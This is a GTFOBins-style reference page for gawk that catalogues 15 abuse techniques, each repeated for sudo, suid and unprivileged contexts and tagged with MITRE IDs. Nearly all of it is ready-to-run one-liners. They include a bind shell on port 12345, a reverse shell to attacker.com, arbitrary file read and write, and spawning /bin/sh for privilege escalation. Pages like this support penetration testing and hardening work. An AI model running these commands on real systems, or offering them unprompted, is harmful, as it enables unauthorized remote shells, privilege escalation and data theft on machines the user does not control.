GTFO · Tool

gawk

15 techniquesLinuxGTFOBinsGPL-3.0

bind-shell

Reverse/Bind ShellPrivilege EscalationLinux

gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/gawk/

bind-shell

Reverse/Bind ShellPrivilege EscalationLinux

gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/gawk/

bind-shell

Reverse/Bind ShellLinux

gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/gawk/

file-read

File ReadPrivilege EscalationLinux

gawk '//' /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/gawk/

file-read

File ReadPrivilege EscalationLinux

gawk '//' /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/gawk/

file-read

File ReadLinux

gawk '//' /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/gawk/

file-write

File WritePrivilege EscalationLinux

gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gawk/

file-write

File WritePrivilege EscalationLinux

gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gawk/

file-write

File WriteLinux

gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gawk/

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/gawk/

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/gawk/

reverse-shell

Reverse/Bind ShellLinux

gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/gawk/

shell

ExecutionPrivilege EscalationLinux

gawk 'BEGIN {system("/bin/sh")}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gawk/

shell

ExecutionPrivilege EscalationLinux

gawk 'BEGIN {system("/bin/sh")}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gawk/

shell

ExecutionLinux

gawk 'BEGIN {system("/bin/sh")}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gawk/